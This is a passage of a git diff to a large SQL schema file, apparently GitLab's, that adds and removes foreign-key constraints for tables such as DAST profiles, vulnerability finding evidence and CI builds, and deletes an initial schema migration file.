ADD CONSTRAINT fk_c4b1c1f66e FOREIGN KEY (repository_deleted_event_id) REFERENCES geo_repository_deleted_events(id) ON DELETE CASCADE;
@@ -25049,12 +26728,18 @@ ALTER TABLE ONLY external_approval_rules_protected_branches
ALTER TABLE ONLY external_approval_rules_protected_branches
ADD CONSTRAINT fk_ca2ffb55e6 FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_profiles_pipelines
+ ADD CONSTRAINT fk_cc206a8c13 FOREIGN KEY (dast_profile_id) REFERENCES dast_profiles(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY experiment_subjects
ADD CONSTRAINT fk_ccc28f8ceb FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
ALTER TABLE ONLY todos
ADD CONSTRAINT fk_ccf0373936 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_profiles_pipelines
+ ADD CONSTRAINT fk_cf05cf8fe1 FOREIGN KEY (dast_site_profile_id) REFERENCES dast_site_profiles(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY geo_event_log
ADD CONSTRAINT fk_cff7185ad2 FOREIGN KEY (reset_checksum_event_id) REFERENCES geo_reset_checksum_events(id) ON DELETE CASCADE;
@@ -25071,7 +26756,7 @@ ALTER TABLE ONLY ci_builds
ADD CONSTRAINT fk_d3130c9a7f FOREIGN KEY (commit_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
ALTER TABLE ONLY web_hooks
- ADD CONSTRAINT fk_d47999a98a FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE NOT VALID;
+ ADD CONSTRAINT fk_d47999a98a FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
ALTER TABLE ONLY ci_sources_pipelines
ADD CONSTRAINT fk_d4e29af7d7 FOREIGN KEY (source_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
@@ -25106,9 +26791,6 @@ ALTER TABLE ONLY dependency_proxy_blobs
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_dccd3f98fc FOREIGN KEY (assignee_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections
- ADD CONSTRAINT fk_ded7fe0344 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY issues
ADD CONSTRAINT fk_df75a7c8b8 FOREIGN KEY (promoted_to_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
@@ -25148,6 +26830,9 @@ ALTER TABLE ONLY sprints
ALTER TABLE ONLY application_settings
ADD CONSTRAINT fk_e8a145f3a7 FOREIGN KEY (instance_administrators_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerability_statistics
+ ADD CONSTRAINT fk_e8b13c928f FOREIGN KEY (latest_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY ci_triggers
ADD CONSTRAINT fk_e8e10d1964 FOREIGN KEY (owner_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -25178,9 +26863,6 @@ ALTER TABLE ONLY vulnerability_external_issue_links
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_f081aa4489 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections
- ADD CONSTRAINT fk_f1472b95f3 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY boards
ADD CONSTRAINT fk_f15266b5f9 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -25190,6 +26872,9 @@ ALTER TABLE ONLY jira_connect_subscriptions
ALTER TABLE ONLY ci_pipeline_variables
ADD CONSTRAINT fk_f29c5f4380 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY status_check_responses
+ ADD CONSTRAINT fk_f3953d86c6 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY design_management_designs_versions
ADD CONSTRAINT fk_f4d25ba00c FOREIGN KEY (version_id) REFERENCES design_management_versions(id) ON DELETE CASCADE;
@@ -25271,9 +26956,6 @@ ALTER TABLE ONLY ip_restrictions
ALTER TABLE ONLY terraform_state_versions
ADD CONSTRAINT fk_rails_04f176e239 FOREIGN KEY (terraform_state_id) REFERENCES terraform_states(id) ON DELETE CASCADE;
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections
- ADD CONSTRAINT fk_rails_053f00a9da FOREIGN KEY (segment_id) REFERENCES analytics_devops_adoption_segments(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY ci_build_report_results
ADD CONSTRAINT fk_rails_056d298d48 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -25379,6 +27061,12 @@ ALTER TABLE ONLY analytics_cycle_analytics_project_stages
ALTER TABLE ONLY packages_build_infos
ADD CONSTRAINT fk_rails_17a9a0dffc FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
+ALTER TABLE ONLY security_orchestration_policy_rule_schedules
+ ADD CONSTRAINT fk_rails_17ade83f17 FOREIGN KEY (security_orchestration_policy_configuration_id) REFERENCES security_orchestration_policy_configurations(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY incident_management_escalation_rules
+ ADD CONSTRAINT fk_rails_17dbea07a6 FOREIGN KEY (policy_id) REFERENCES incident_management_escalation_policies(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY clusters_applications_jupyter
ADD CONSTRAINT fk_rails_17df21c98c FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
@@ -25457,6 +27145,9 @@ ALTER TABLE ONLY service_desk_settings
ALTER TABLE ONLY saml_group_links
ADD CONSTRAINT fk_rails_22e312c530 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidence_responses
+ ADD CONSTRAINT fk_rails_2390a09723 FOREIGN KEY (vulnerability_finding_evidence_id) REFERENCES vulnerability_finding_evidences(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY dast_profiles
ADD CONSTRAINT fk_rails_23cae5abe1 FOREIGN KEY (dast_scanner_profile_id) REFERENCES dast_scanner_profiles(id) ON DELETE CASCADE;
@@ -25466,6 +27157,9 @@ ALTER TABLE ONLY group_custom_attributes
ALTER TABLE ONLY incident_management_oncall_rotations
ADD CONSTRAINT fk_rails_256e0bc604 FOREIGN KEY (oncall_schedule_id) REFERENCES incident_management_oncall_schedules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_unit_test_failures
+ ADD CONSTRAINT fk_rails_259da3e79c FOREIGN KEY (unit_test_id) REFERENCES ci_unit_tests(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY analytics_devops_adoption_snapshots
ADD CONSTRAINT fk_rails_25da9a92c0 FOREIGN KEY (segment_id) REFERENCES analytics_devops_adoption_segments(id) ON DELETE CASCADE;
@@ -25484,6 +27178,9 @@ ALTER TABLE ONLY lfs_file_locks
ALTER TABLE ONLY project_alerting_settings
ADD CONSTRAINT fk_rails_27a84b407d FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_credit_card_validations
+ ADD CONSTRAINT fk_rails_27ebc03cbf FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY dast_site_validations
ADD CONSTRAINT fk_rails_285c617324 FOREIGN KEY (dast_site_token_id) REFERENCES dast_site_tokens(id) ON DELETE CASCADE;
@@ -25562,6 +27259,9 @@ ALTER TABLE ONLY metrics_dashboard_annotations
ALTER TABLE ONLY wiki_page_slugs
ADD CONSTRAINT fk_rails_358b46be14 FOREIGN KEY (wiki_page_meta_id) REFERENCES wiki_page_meta(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_job_token_project_scope_links
+ ADD CONSTRAINT fk_rails_35f7f506ce FOREIGN KEY (added_by_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY board_labels
ADD CONSTRAINT fk_rails_362b0600a3 FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
@@ -25577,6 +27277,9 @@ ALTER TABLE ONLY group_merge_request_approval_settings
ALTER TABLE ONLY analytics_cycle_analytics_project_stages
ADD CONSTRAINT fk_rails_3829e49b66 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_debian_project_distribution_keys
+ ADD CONSTRAINT fk_rails_3834a11264 FOREIGN KEY (distribution_id) REFERENCES packages_debian_project_distributions(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY issue_user_mentions
ADD CONSTRAINT fk_rails_3861d9fefa FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
@@ -25658,6 +27361,9 @@ ALTER TABLE ONLY remote_mirrors
ALTER TABLE ONLY lfs_file_locks
ADD CONSTRAINT fk_rails_43df7a0412 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_profile_secret_variables
+ ADD CONSTRAINT fk_rails_43e2897950 FOREIGN KEY (dast_site_profile_id) REFERENCES dast_site_profiles(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_request_assignees
ADD CONSTRAINT fk_rails_443443ce6f FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
@@ -25685,9 +27391,18 @@ ALTER TABLE ONLY vulnerability_feedback
ALTER TABLE ONLY user_custom_attributes
ADD CONSTRAINT fk_rails_47b91868a8 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pending_builds
+ ADD CONSTRAINT fk_rails_480669c3b3 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY upcoming_reconciliations
+ ADD CONSTRAINT fk_rails_497b4938ac FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_pipeline_artifacts
ADD CONSTRAINT fk_rails_4a70390ca6 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_job_token_project_scope_links
+ ADD CONSTRAINT fk_rails_4b2ee3290b FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY group_deletion_schedules
ADD CONSTRAINT fk_rails_4b8c694a6c FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -25760,9 +27475,6 @@ ALTER TABLE ONLY clusters_applications_knative
ALTER TABLE ONLY clusters_applications_prometheus
ADD CONSTRAINT fk_rails_557e773639 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY terraform_states
- ADD CONSTRAINT fk_rails_558901b030 FOREIGN KEY (locked_by_user_id) REFERENCES users(id);
-
ALTER TABLE ONLY issuable_metric_images
ADD CONSTRAINT fk_rails_56417a5a7f FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
@@ -25817,6 +27529,9 @@ ALTER TABLE ONLY vulnerability_scanners
ALTER TABLE ONLY reviews
ADD CONSTRAINT fk_rails_5ca11d8c31 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_running_builds
+ ADD CONSTRAINT fk_rails_5ca491d360 FOREIGN KEY (runner_id) REFERENCES ci_runners(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY epic_issues
ADD CONSTRAINT fk_rails_5d942936b4 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
@@ -25886,9 +27601,12 @@ ALTER TABLE ONLY operations_feature_flags_clients
ALTER TABLE ONLY namespace_admin_notes
ADD CONSTRAINT fk_rails_666166ea7b FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY web_hook_logs
+ALTER TABLE ONLY web_hook_logs_archived
ADD CONSTRAINT fk_rails_666826e111 FOREIGN KEY (web_hook_id) REFERENCES web_hooks(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_cycle_analytics_project_value_streams
+ ADD CONSTRAINT fk_rails_669f4ba293 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY jira_imports
ADD CONSTRAINT fk_rails_675d38c03b FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE SET NULL;
@@ -25898,9 +27616,15 @@ ALTER TABLE ONLY vulnerability_findings_remediations
ALTER TABLE ONLY resource_iteration_events
ADD CONSTRAINT fk_rails_6830c13ac1 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidence_headers
+ ADD CONSTRAINT fk_rails_683b8e000c FOREIGN KEY (vulnerability_finding_evidence_response_id) REFERENCES vulnerability_finding_evidence_responses(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY geo_hashed_storage_migrated_events
ADD CONSTRAINT fk_rails_687ed7d7c5 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_job_token_project_scope_links
+ ADD CONSTRAINT fk_rails_6904b38465 FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY plan_limits
ADD CONSTRAINT fk_rails_69f8b6184f FOREIGN KEY (plan_id) REFERENCES plans(id) ON DELETE CASCADE;
@@ -25934,6 +27658,9 @@ ALTER TABLE ONLY project_custom_attributes
ALTER TABLE ONLY user_interacted_projects
ADD CONSTRAINT fk_rails_722ceba4f7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pending_builds
+ ADD CONSTRAINT fk_rails_725a2644a3 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY security_findings
ADD CONSTRAINT fk_rails_729b763a54 FOREIGN KEY (scanner_id) REFERENCES vulnerability_scanners(id) ON DELETE CASCADE;
@@ -25943,6 +27670,9 @@ ALTER TABLE ONLY dast_scanner_profiles
ALTER TABLE ONLY vulnerability_historical_statistics
ADD CONSTRAINT fk_rails_72b73ed023 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidence_requests
+ ADD CONSTRAINT fk_rails_72c87c8eb6 FOREIGN KEY (vulnerability_finding_evidence_id) REFERENCES vulnerability_finding_evidences(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY slack_integrations
ADD CONSTRAINT fk_rails_73db19721a FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
@@ -25985,12 +27715,18 @@ ALTER TABLE ONLY packages_debian_publications
ALTER TABLE ONLY boards_epic_user_preferences
ADD CONSTRAINT fk_rails_76c4e9732d FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_debian_group_distribution_keys
+ ADD CONSTRAINT fk_rails_779438f163 FOREIGN KEY (distribution_id) REFERENCES packages_debian_group_distributions(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_subscriptions_projects
ADD CONSTRAINT fk_rails_7871f9a97b FOREIGN KEY (upstream_project_id) REFERENCES projects(id) ON DELETE CASCADE;
ALTER TABLE ONLY terraform_states
ADD CONSTRAINT fk_rails_78f54ca485 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_cycle_analytics_project_stages
+ ADD CONSTRAINT fk_rails_796a7dbc9c FOREIGN KEY (project_value_stream_id) REFERENCES analytics_cycle_analytics_project_value_streams(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY software_license_policies
ADD CONSTRAINT fk_rails_7a7a2a92de FOREIGN KEY (software_license_id) REFERENCES software_licenses(id) ON DELETE CASCADE;
@@ -26132,6 +27868,9 @@ ALTER TABLE ONLY packages_rubygems_metadata
ALTER TABLE ONLY packages_pypi_metadata
ADD CONSTRAINT fk_rails_9698717cdd FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_board_recent_visits
+ ADD CONSTRAINT fk_rails_96c2c18642 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY packages_dependency_links
ADD CONSTRAINT fk_rails_96ef1c00d3 FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
@@ -26174,6 +27913,9 @@ ALTER TABLE ONLY analytics_language_trend_repository_languages
ALTER TABLE ONLY badges
ADD CONSTRAINT fk_rails_9df4a56538 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_signatures
+ ADD CONSTRAINT fk_rails_9e0baf9dcd FOREIGN KEY (finding_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY clusters_applications_cert_managers
ADD CONSTRAINT fk_rails_9e4f2cb4b2 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
@@ -26183,6 +27925,9 @@ ALTER TABLE ONLY resource_milestone_events
ALTER TABLE ONLY namespace_root_storage_statistics
ADD CONSTRAINT fk_rails_a0702c430b FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY elastic_reindexing_slices
+ ADD CONSTRAINT fk_rails_a17d86aeb9 FOREIGN KEY (elastic_reindexing_subtask_id) REFERENCES elastic_reindexing_subtasks(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY project_aliases
ADD CONSTRAINT fk_rails_a1804f74a7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -26201,6 +27946,9 @@ ALTER TABLE ONLY fork_network_members
ALTER TABLE ONLY operations_feature_flag_scopes
ADD CONSTRAINT fk_rails_a50a04d0a4 FOREIGN KEY (feature_flag_id) REFERENCES operations_feature_flags(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_helm_file_metadata
+ ADD CONSTRAINT fk_rails_a559865345 FOREIGN KEY (package_file_id) REFERENCES packages_package_files(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY cluster_projects
ADD CONSTRAINT fk_rails_a5a958bca1 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
@@ -26291,6 +28039,9 @@ ALTER TABLE ONLY issues_prometheus_alert_events
ALTER TABLE ONLY merge_trains
ADD CONSTRAINT fk_rails_b374b5225d FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY incident_management_escalation_rules
+ ADD CONSTRAINT fk_rails_b3c9c17bd4 FOREIGN KEY (oncall_schedule_id) REFERENCES incident_management_oncall_schedules(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY application_settings
ADD CONSTRAINT fk_rails_b53e481273 FOREIGN KEY (custom_project_templates_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
@@ -26315,6 +28066,9 @@ ALTER TABLE ONLY approval_project_rules_users
ALTER TABLE ONLY lists
ADD CONSTRAINT fk_rails_baed5f39b7 FOREIGN KEY (milestone_id) REFERENCES milestones(id) ON DELETE CASCADE;
+ALTER TABLE web_hook_logs
+ ADD CONSTRAINT fk_rails_bb3355782d FOREIGN KEY (web_hook_id) REFERENCES web_hooks(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY security_findings
ADD CONSTRAINT fk_rails_bb63863cf1 FOREIGN KEY (scan_id) REFERENCES security_scans(id) ON DELETE CASCADE;
@@ -26378,6 +28132,9 @@ ALTER TABLE ONLY pages_deployments
ALTER TABLE ONLY merge_request_user_mentions
ADD CONSTRAINT fk_rails_c440b9ea31 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_board_recent_visits
+ ADD CONSTRAINT fk_rails_c4dcba4a3e FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_job_artifacts
ADD CONSTRAINT fk_rails_c5137cb2c1 FOREIGN KEY (job_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
@@ -26420,6 +28177,9 @@ ALTER TABLE ONLY boards_epic_board_positions
ALTER TABLE ONLY vulnerability_finding_links
ADD CONSTRAINT fk_rails_cbdfde27ce FOREIGN KEY (vulnerability_occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_integration_elasticstack
+ ADD CONSTRAINT fk_rails_cc5ba8f658 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY issues_self_managed_prometheus_alert_events
ADD CONSTRAINT fk_rails_cc5d88bbb0 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
@@ -26429,6 +28189,9 @@ ALTER TABLE ONLY operations_strategies_user_lists
ALTER TABLE ONLY issue_tracker_data
ADD CONSTRAINT fk_rails_ccc0840427 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidence_headers
+ ADD CONSTRAINT fk_rails_ce7f121a03 FOREIGN KEY (vulnerability_finding_evidence_request_id) REFERENCES vulnerability_finding_evidence_requests(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY resource_milestone_events
ADD CONSTRAINT fk_rails_cedf8cce4d FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -26456,6 +28219,9 @@ ALTER TABLE ONLY requirements_management_test_reports
ALTER TABLE ONLY pool_repositories
ADD CONSTRAINT fk_rails_d2711daad4 FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY web_hooks
+ ADD CONSTRAINT fk_rails_d35697648e FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY group_group_links
ADD CONSTRAINT fk_rails_d3a0488427 FOREIGN KEY (shared_group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -26471,6 +28237,9 @@ ALTER TABLE ONLY geo_hashed_storage_attachments_events
ALTER TABLE ONLY merge_request_reviewers
ADD CONSTRAINT fk_rails_d9fec24b9d FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_running_builds
+ ADD CONSTRAINT fk_rails_da45cfa165 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY jira_imports
ADD CONSTRAINT fk_rails_da617096ce FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -26480,6 +28249,9 @@ ALTER TABLE ONLY issues_prometheus_alert_events
ALTER TABLE ONLY board_user_preferences
ADD CONSTRAINT fk_rails_dbebdaa8fe FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_running_builds
+ ADD CONSTRAINT fk_rails_dc1d0801e8 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_occurrence_pipelines
ADD CONSTRAINT fk_rails_dc3ae04693 FOREIGN KEY (occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
@@ -26504,6 +28276,12 @@ ALTER TABLE ONLY incident_management_oncall_shifts
ALTER TABLE ONLY analytics_cycle_analytics_group_stages
ADD CONSTRAINT fk_rails_dfb37c880d FOREIGN KEY (end_event_label_id) REFERENCES labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY bulk_import_export_uploads
+ ADD CONSTRAINT fk_rails_dfbfb45eca FOREIGN KEY (export_id) REFERENCES bulk_import_exports(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY ci_minutes_additional_packs
+ ADD CONSTRAINT fk_rails_e0e0c4e4b1 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY label_priorities
ADD CONSTRAINT fk_rails_e161058b0f FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
@@ -26516,12 +28294,21 @@ ALTER TABLE ONLY cluster_platforms_kubernetes
ALTER TABLE ONLY ci_builds_metadata
ADD CONSTRAINT fk_rails_e20479742e FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidences
+ ADD CONSTRAINT fk_rails_e3205a0c65 FOREIGN KEY (vulnerability_occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY clusters_integration_prometheus
+ ADD CONSTRAINT fk_rails_e44472034c FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_occurrence_identifiers
ADD CONSTRAINT fk_rails_e4ef6d027c FOREIGN KEY (occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
ALTER TABLE ONLY serverless_domain_cluster
ADD CONSTRAINT fk_rails_e59e868733 FOREIGN KEY (clusters_applications_knative_id) REFERENCES clusters_applications_knative(id) ON DELETE CASCADE;
+ALTER TABLE ONLY incident_management_escalation_policies
+ ADD CONSTRAINT fk_rails_e5b513daa7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_external_issue_links
ADD CONSTRAINT fk_rails_e5ba7f7b13 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -26543,6 +28330,9 @@ ALTER TABLE ONLY draft_notes
ALTER TABLE ONLY namespace_package_settings
ADD CONSTRAINT fk_rails_e773444769 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_board_recent_visits
+ ADD CONSTRAINT fk_rails_e77911cf03 FOREIGN KEY (epic_board_id) REFERENCES boards_epic_boards(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY dast_site_tokens
ADD CONSTRAINT fk_rails_e84f721a8e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -26597,6 +28387,9 @@ ALTER TABLE ONLY label_priorities
ALTER TABLE ONLY fork_network_members
ADD CONSTRAINT fk_rails_efccadc4ec FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY security_orchestration_policy_rule_schedules
+ ADD CONSTRAINT fk_rails_efe1d9b133 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY prometheus_alerts
ADD CONSTRAINT fk_rails_f0e8db86aa FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -26654,9 +28447,6 @@ ALTER TABLE ONLY merge_trains
ALTER TABLE ONLY ci_runner_namespaces
ADD CONSTRAINT fk_rails_f9d9ed3308 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY vulnerability_finding_fingerprints
- ADD CONSTRAINT fk_rails_fa411253b2 FOREIGN KEY (finding_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY requirements_management_test_reports
ADD CONSTRAINT fk_rails_fb3308ad55 FOREIGN KEY (requirement_id) REFERENCES requirements(id) ON DELETE CASCADE;
@@ -26696,12 +28486,18 @@ ALTER TABLE ONLY ci_builds_metadata
ALTER TABLE ONLY services
ADD CONSTRAINT fk_services_inherit_from_id FOREIGN KEY (inherit_from_id) REFERENCES services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_source_project FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY timelogs
ADD CONSTRAINT fk_timelogs_issues_issue_id FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
ALTER TABLE ONLY timelogs
ADD CONSTRAINT fk_timelogs_merge_requests_merge_request_id FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY timelogs
+ ADD CONSTRAINT fk_timelogs_note_id FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY u2f_registrations
ADD CONSTRAINT fk_u2f_registrations_user_id FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
diff --git a/db/migrate/20210301200959_init_schema.rb b/db/migrate/20210301200959_init_schema.rb
deleted file mode 100644
index df68927d79a..00000000000
--- a/db/migrate/20210301200959_init_schema.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-class InitSchema < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def up
- execute(IO.read("db/init_structure.sql"))
- end
-
- def down
- raise ActiveRecord::IrreversibleMigration, "The initial migration is not revertable"
- end
-end
diff --git a/db/migrate/20210302025305_add_excluded_urls_and_request_headers_to_dast_site_profiles.rb b/db/migrate/20210302025305_add_excluded_urls_and_request_headers_to_dast_site_profiles.rb
deleted file mode 100644
index 167b8d2c509..00000000000
--- a/db/migrate/20210302025305_add_excluded_urls_and_request_headers_to_dast_site_profiles.rb
+++ /dev/null
@@ -1,17 +0,0 @@
